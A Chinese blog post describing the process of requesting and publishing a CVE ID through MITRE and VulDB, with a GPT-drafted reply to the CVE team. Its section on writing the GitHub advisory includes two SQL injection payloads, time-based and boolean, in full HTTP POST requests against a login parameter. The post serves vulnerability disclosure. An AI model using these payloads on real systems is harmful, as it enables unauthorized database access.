记录一次CVE申请过程

已于 2023-08-03 10:53:39 修改
阅读量2.9k 收藏 7
点赞数
文章标签： cve 安全 web安全 网络安全
于 2023-06-01 12:57:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_43397796/article/details/130985872
版权

记录一次CVE申请过程

1. 前言

跟着网上的教程申请了CVE，简单记录一下申请过程

申请过程参考：
4位数CVE编号申请过程 - 哔哩哔哩 (bilibili.com)
如果你挖到一个0day漏洞怎么获得一个CVE编号_哔哩哔哩_bilibili
干货 | 记一次CVE申请之旅

2. 官网申请CVE编号

去CVE - Common Vulnerabilities and Exposures (CVE) (mitre.org)申请（记得使用魔法）

选择报告漏洞/申请CVE ID

选择报告漏洞/申请CVE ID

image-20230601102145803

填写上图所示标有红色星号的部分

image-20230601102241729

漏洞类型如上图所示，分别为缓冲区溢出，CSRF，XSS，目录遍历，错误的访问控制，不安全的权限设置，整数溢出，缺少SSL证书验证，SQL注入，XXE，其他或未知

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PkQH8YXI-1685594359187)(https://lzx-markdown.oss-cn-qingdao.aliyuncs.com/markdown/%E6%9C%AA%E6%A0%87%E9%A2%98-1.png)]

可选项中，攻击类型一般选择remote就行

image-20230601103329227

继续填写下面的Impact等处，填写后提交，提交后会自动给你发送一封邮件，记住邮件名称处的id，

image-20230601114549087

可以通过直接回复此电子邮件将对您请求的更改、添加或更新发送给 CVE 团队。请不要更改主题行，这样我们才能有效地跟踪您的请求。

image-20230601115030261

不出意外的话过几天后会收到一封邮件，并且给你个cve编号。但是这时你的cve还是查不到的（如下图所示），查询时会提示是保留状态，这时需要申请公开cve

image-20230601115413517

3. 公开CVE编号

这时回到CVE - Common Vulnerabilities and Exposures (CVE) (mitre.org)网站，选择Notify CVE about a publication（通知CVE关于一个发布）

image-20230601115532473

image-20230601115816450

提交后会发送一份邮件到你的邮箱

image-20230601120310364

正常过几天就能收到CVE被公布的邮件了。但是由于我写的内容不太完善，CVE给我发了封邮件，说里面内容不太详细，希望我更新一下

image-20230601120458560

回复邮件如下：首先感谢对方对我的回复，然后说我已经更新了参考文档，文档链接如下。最后说如果您需要任何进一步的信息或说明，请告诉我。

感谢您对我的 CVE 服务请求的回复。我已更新参考文档以包含受影响的版本，现在可从以下 URL 获得：

image-20230601123559435

第二天我就收到了CVE编号公开的邮件

image-20230601120714336

4. 关于邮件的回复

Regarding your CVE service request, logged on 2023-05-21T时间, we have the following question or update:
Please update reference to include the affected version.
Please do not hesitate to contact the CVE Team by replying to this email if you have any questions, or to provide more details.
Please do not change the subject line, which allows us to effectively track your request.

关于您于 2023-05-21T 时间登录的 CVE 服务请求，我们有以下问题或更新：
请更新参考以包含受影响的版本。
如果您有任何疑问或提供更多详细信息，请随时回复此电子邮件与 CVE 团队联系。
请不要更改主题行，这样我们才能有效地跟踪您的请求。

对方希望我更新受影响的版本，更新后需要回复对方我已经更新完。但是由于本人不会写英文邮件，所以使用了GPT来帮我写（GPT真好用）

我先将CVE发给我的邮件复制给GPT，问他这段话是什么意思。然后跟GPT说我如果想回复对方我已经更新了参考文档，参考文档的地址是https://github.com/****。我应该怎么回复

GPT回复：

是的，我还记得您之前提到过的邮件。

如果您要回复CVE团队，通知他们已经更新参考文档并提供URL地址，可以按照以下内容编写回复：

Subject: RE: CVE Service Request [Reference Number] Dear CVE Team,

Thank you for your response regarding my CVE service request. I have updated the reference document to include the affected version, and it is now available at the following URL:

https://github.com/***

Please let me know if you need any further information or clarification.

Best regards, [Your name]

其中，[Reference Number]是您在原始请求中收到的参考号码。

image-20230601121114935

image-20230601121140658

5. CNA申请CVE

就是去CNA申请。我是去的vuldb申请，可以点击页面下方的zh切换为机翻中文。点击右上角login，注册账号进行登录

Vulnerability Database 🛡 (vuldb.com)

image-20230601121502373

登录后在下图所示位置提交漏洞

image-20230601121733289

image-20230601122016824

记得勾选Submit上面的申请cve id

提交后会收到一封邮件

image-20230601122236141

不出意外的话就能收到cve确认的邮件

image-20230601123712445

6. Github页面编写

我使用的是markdown进行编写，源码如下

BUG_Author:

你的名字的简拼，如JieLun Zhou

Affected version:

系统的名字

Vendor:

厂商的链接

Software:

软件下载页面

Vulnerability File:

有漏洞的文件

Description:

xxx系统v1.0存在SQL注入漏洞在xxx页面。
参数id没有被正确处理。黑客可以利用这个漏洞来操纵系统的管理员账户，并可以完全控制其他账户的信息。
状态：严重

GET参数id存在SQL注入

然后扔两个payload，请求包

The system软件名称+版本 is vulnerable to SQL Injection via /xxx/Login.php.
The parameter id is not sanitized correctly. The malicious actor can use this vulnerability to manipulate the administrator account of the systemand can take full control of the information about the other accounts.
Status: CRITICAL

GET parameter ‘id’ exists SQL injection vulnerability

Payload1:username=admin' and (select 2 from (select(sleep(10)))x) and 'x'='x&password=admin123

POST /xxx/login.php?f=login HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

username=admin' and (select 2 from (select(sleep(10)))x) and 'x'='x&password=admin123

The server’s response time is 10 seconds

图片1

Payload2:username=admin'and left(version(),6)='5.7.27' AND 'ledo'='ledo&password=admin123

POST /xxx/login.php?f=login HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

username=admin'and left(version(),6)='5.7.26' AND 'ledo'='ledo&password=admin123

Error injection success

When I enter the version number 5.7.26, it returns “success”. Error statement when typing 5.7.27

图片2
图片3
多放几张图片

7.有不会的问GPT

如何获取免费GPT请参考

4O4NtFd/ChatGPT-Website-Checker: 批量检测互联网上的ChatGPT Web能否正常使用 (github.com)

神丶上单
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
cve-2019-11477.rar
06-20
此漏洞只支持本地检测，不支持远程检测模式，检测成功率很高，可以排查网络资产中是否存在此问题，避免此漏洞造成的DoS 问题
weblogic 漏洞统计 CVE
09-18
1.CVE-2016-0696 2.CVE-2016-0700 3.CVE-2016-0675 4.CVE-2016-3416 5.CVE-2016-0688 6.CVE-2016-0638 7.CVE-2015-2623 8.CVE-2015-4744 9.CVE-2014-2480 10.CVE-2014-2481 11.CVE-2014-4256 12.CVE-2014-4242 13.CVE-2014-4253 14.CVE-2014-4267 15.CVE-2014-4255 16.CVE-2014-4254 17.CVE-2014-2479 18.CVE-2014-4210 19.CVE-2014-4241 20.CVE-2014-4217 21.CVE-2014-4201 22.CVE-2014-4202 23.CVE-2013-1504 24.CVE-2013-2390 25.CVE-2017-3506 26.CVE-2017-1181 27.CVE-2016-3445 28.CVE-2016-3510 29.CVE-2016-3586 30.CVE-2016-5531 31.CVE-2015-7501 32.CVE-2016-5488 33.CVE-2016-3505 34.CVE-2016-5535 35.CVE-2014-2470 36.CVE-2016-0464 37.CVE-2014-0107 38.CVE-2016-0572 39.CVE-2016-0573 40.CVE-2016-0574 41.CVE-2016-0577 42.CVE-2014-0114 43.CVE-2014-6534 44.CVE-2014-6499 45.CVE-2013-3827 46.CVE-2013-2027 47.CVE-2017-10063 48.CVE-2017-10147 49.CVE-2017-10148 50.CVE-2017-10178 51.CVE-2017-5638 52.CVE-2017-10137 53.CVE-2017-10336 54.CVE-2017-10152 55.CVE-2017-10352 56.CVE-2017-10334 57.CVE-2014-3566 58.CVE-2015-0449 59.CVE-2014-6569 60.CVE-2013-2186 61.CVE-2017-3248 62.CVE-2011-1411 63.CVE-2011-5035 这些漏洞修复情况
干货：个人申请CVE的姿势总结.docx
07-06
干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx干货：个人申请CVE的姿势总结.docx
CVE申请
dtf_csy的博客
12-14 875
一、如何去申请CVE编号？ 大体上分为以下两种： 第一种：找Participating CNA要CVE编号 Participating CNA的意思就是参与CNA，可以理解为参与CVE计划的公司或项目发起者，总之就是有产品拿出来让大家挖漏洞的，这些CNA有一个列表CNA列表，按照列表中给的联系方式和CNA厂商直接联系获取CVE 邮件CNA中企业 -> 企业确认和修复 -> 企业申请CVE和发布漏洞补丁 第二种：找Primary CNA要CVE编号（公开披露） 找主CNA要编号，也就是MIT
记录第一次申请CVE编号过程
qq_18193739的博客
03-17 329
文章首发个人公众号作为一个安服仔突发奇想去申请个CVE编号，大型的CMS代码太多了太复杂，我们就选一些小的CMS的来代码审计获取CVE编号。漏洞很水，但是自己的首个CVE还是有纪念意义的。
漏洞领域专业术语
HideInTime的博客
11-10 2605
SCAP:The Security Content Automation Protocol安全内容自动化协议 该中文社区中集成了SCAP框架协议中的CVE(通用漏洞披露)、OVAL(开源漏洞检测语言)、CCE(通用配置枚举)、CPE(通用平台枚举)等4种网络安全相关标准数据库 SCAP版本1.0包含以下六个SCAP元素：XCCDF、OVAL、CVE、CCE、CPE、CVSS POC（Proof of Concept） 漏洞证明，漏洞报告中，通过一段描述或一个样例来证明漏洞确实存在 EXP（Exploit
「 网络安全常用术语解读 」通用漏洞披露CVE详解
网络安全
03-04 6624
CVE全称是Common Vulnerabilities and Exposures，即通用漏洞披露，它是MITRE公司维护和更新的安全漏洞列表，列表中的每个条目都会有一个唯一的CVE编号，即CVE ID，供安全研究员和受攻击的软件供应商使用，以便确定和回应安全漏洞。CVE条目包含了与CVE ID相关的漏洞的描述性数据（即简要描述和至少一个参考）。当前CVE累计收录了19万+个安全漏洞。
CVE提交流程（包含漏洞公开过程）
weixin_41308444的博客
01-30 4913
CVE提交流程（包含漏洞公开过程）
CVE 官网提交流程
qq_44172732的博客
07-08 1142
CVE申请流程
CVE申请的那些事
Fly_鹏程万里
07-19 2904
什么是CVE 对于新手来说申请CVE总是摸不清门道，总觉得像这种国际化的高大上漏洞很难申请到，其实则不然，CVE的全称是“Common Vulnerabilities and Exposures”翻译成中文就是“公共漏洞和披露”可以把它理解成一个被安全从业者认可的漏洞字典，大家可以通过编号在这里查找不同应用或系统的漏洞信息。当然很多安全企业或国家机构也都会引用CVE作为其漏洞库，比如美国国家漏洞...
CVE申请过程
weixin_50464560的博客
07-05 3879
CVE申请的那些事在上一篇分享《安全小白面试的那些坑》中和大家提到面试的时候可以在简历中附上提交过的原创漏洞如CVE、CNVD编号等信息，以证明自己在漏洞挖掘方面的技术经验和能力。本文将和大家分享申请CVE的方法和技巧。什么是CVE对于新手来说申请CVE总是摸不清门道，总觉得像这种国际化的高大上漏洞很难申请到，其实则不然，CVE的全称是“Common Vulnerabilities and Exposures”翻译成中文就是“公共漏洞和披露”可以把它理解成一个被安全从业者认可的漏洞字典，大家可以通过编号在这
[HACK学习呀] - 2020-11-05 记一次代码审计到申请CVE到过程1
08-03
（1）有每种漏洞的利用套路 （2）有人家复现的整体流程 （3）有针对每种漏洞的研究性文章
CVE-2016-3720
02-22
这个项目是CVE-2016-3720 Demo，为了避免搭建环境，大佬们可以直接获取到这个资源。 相对应的分析文章是：https://blog.csdn.net/qq_36869808 可以在这篇文章看到分析的内容，感谢~当然如果非常需要这个资源，也...
内网安全【1】——域信息收集/应用网络凭证/CS插件/Android/BloodHound
weixin_42090431的博客
04-28 985
因此，域中的计算机本地管理员账号，极有可能能够登陆域中较多的计算机，本地管理员的密码在服务器上后期修改的概率，远低于在个人办公电脑上的概率，而域用户权限是较低的，是无法在域成员主机上安装软件的，这将会发生下面的一幕:某个域用户需要使用viso软件进行绘图操作，于是联系网络管理员进行安装，网络管理员采用域管理员身份登录了域成员主机，并帮助其安装了viso软件，于是这个有计算机基础的员工，切换身份登录到了本地计算机的管理员，后执行mimikatz，从内存当中抓取了域管理员的密码，便成功的控制了整个域。
原生IP和住宅IP有什么区别？
ALEX_Proxy的博客
04-28 1092
原生IP以其高稳定性、高识别度和专业的应用场景为主要特点，而住宅IP则以其广泛的分布、较低的限制和友好的爬虫采集环境为优势。从稳定性与安全性角度来看，原生IP由于是直接分配的，其稳定性通常较高，而住宅IP可能会受到用户网络环境和ISP政策的影响，稳定性相对较差。在安全性方面，原生IP由于其高识别度，更容易受到攻击，而住宅IP由于分布广泛，攻击者难以定位，因此安全性相对较好。当然，随着网络技术的不断发展和应用场景的不断拓展，原生IP和住宅IP的定义、特性和应用场景也可能会有所变化。编辑：xyukjds。
RSA实现中弱密钥漏洞分析
No_Name_Cao_Ni_Mei的博客
04-29 485
RSA是目前应用最广泛的公钥加密算法之一，它的安全性取决于大素数的难以分解性。然而，研究发现在RSA实现中存在一种弱密钥漏洞，即通过选择过于接近的素数作为RSA模数来生成密钥对，会导致RSA算法的安全性大打折扣。本文通过分析该弱密钥漏洞的原理和影响，对其进行深入剖析。首先，我们介绍了RSA算法的基本原理和密钥生成过程。然后，我们详细解释了弱密钥漏洞的成因，即模数过于接近时，存在相同或非常相似的素因子，从而使得攻击者可以经过遍历计算得到私钥，进而对加密数据进行解密。
CACTER AI实验室：AI大模型在邮件安全领域的应用
CACTER_S的博客
04-29 1070
CACTER AI实验室将继续探索和应用AI大模型，更新迭代新型恶意邮件的检测能力，保持反垃圾品质稳步提升，保护用户的邮件安全。
API安全
最新发布
2301_76717406的博客
05-01 1636
网络安全，信息（数据）安全，应用安全；机密性完整性可靠性。
编写一段代码，可以实现自动提交cve
08-04
### 回答1： 代码如下：import requestsdef auto_submit_cve(url, data): response = requests.post(url, data) if response.status_code == 200: print("CVE提交成功！") else: print("CVE提交失败！") ### 回答2： 实现自动提交CVE的代码是一个非常复杂和敏感的任务，涉及到安全漏洞的披露和修复过程。 首先，自动提交CVE所需要的信息包括漏洞描述、漏洞影响、漏洞代码、修复建议等，这些信息需要通过对漏洞的详细分析和测试得出。因此，在编写这样的代码之前，需要有强大的漏洞挖掘和安全分析能力。 其次，自动提交CVE同时也需要考虑众多的安全和合规性要求。需要确保提交的CVE信息是准确、完整和合规的，并且不能侵犯任何相关法律、法规和隐私政策。 最后，自动提交CVE的过程需要与CVE数据库的接口进行交互，这需要和CVE数据库的管理员进行合作和沟通，以确保CVE信息被正确地记录和发布。 综上所述，实现自动提交CVE的代码是一项复杂而且敏感的任务，需要强大的漏洞挖掘和分析能力，以及与CVE数据库管理员的合作。不仅如此，还需要考虑众多的安全和合规性要求。正因为如此，自动提交CVE的代码在实际应用中并不常见，而且需要严格控制和审查。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值